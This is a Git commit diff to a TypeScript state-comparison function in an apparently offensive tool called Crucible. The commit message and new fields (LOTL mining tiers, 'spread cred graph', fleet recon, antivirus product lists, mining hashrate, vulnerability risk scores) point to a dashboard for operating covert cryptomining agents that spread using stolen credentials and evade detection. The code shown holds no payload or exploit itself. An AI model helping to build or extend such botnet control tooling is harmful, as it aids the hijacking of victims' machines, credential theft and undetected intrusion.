Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -39,10 +39,22 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
|
||||
if (u.latency_ms !== undefined && agent.latency_ms !== u.latency_ms) return false;
|
||||
if (u.pending_updates !== undefined && agent.pending_updates !== u.pending_updates) return false;
|
||||
if (u.last_patch !== undefined && agent.last_patch !== u.last_patch) return false;
|
||||
if (u.active_method !== undefined && agent.active_method !== u.active_method) return false;
|
||||
if (u.last_error !== undefined && agent.last_error !== u.last_error) return false;
|
||||
if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false;
|
||||
if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false;
|
||||
if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false;
|
||||
if (u.failed_methods !== undefined && agent.failed_methods !== u.failed_methods) return false;
|
||||
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
|
||||
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
|
||||
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
|
||||
if (u.services !== undefined && agent.services !== u.services) return false;
|
||||
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
|
||||
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
|
||||
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
|
||||
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
|
||||
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
|
||||
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -55,6 +67,19 @@ function shallowStrArrayEq(a?: string[], b?: string[]): boolean {
|
||||
return true;
|
||||
}
|
||||
|
||||
function tierAttemptsEq(a?: import('../types/lotl').TierAttempt[], b?: import('../types/lotl').TierAttempt[]): boolean {
|
||||
if (a === b) return true;
|
||||
if (!a || !b || a.length !== b.length) return false;
|
||||
for (let i = 0; i < a.length; i++) {
|
||||
const x = a[i];
|
||||
const y = b[i];
|
||||
if (x.tier !== y.tier || x.ok !== y.ok || x.error !== y.error || x.duration_ms !== y.duration_ms) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
|
||||
export const WS_LATEST_MESSAGE_TYPES = new Set([
|
||||
'presence_snapshot',
|
||||
|
||||
Reference in New Issue
Block a user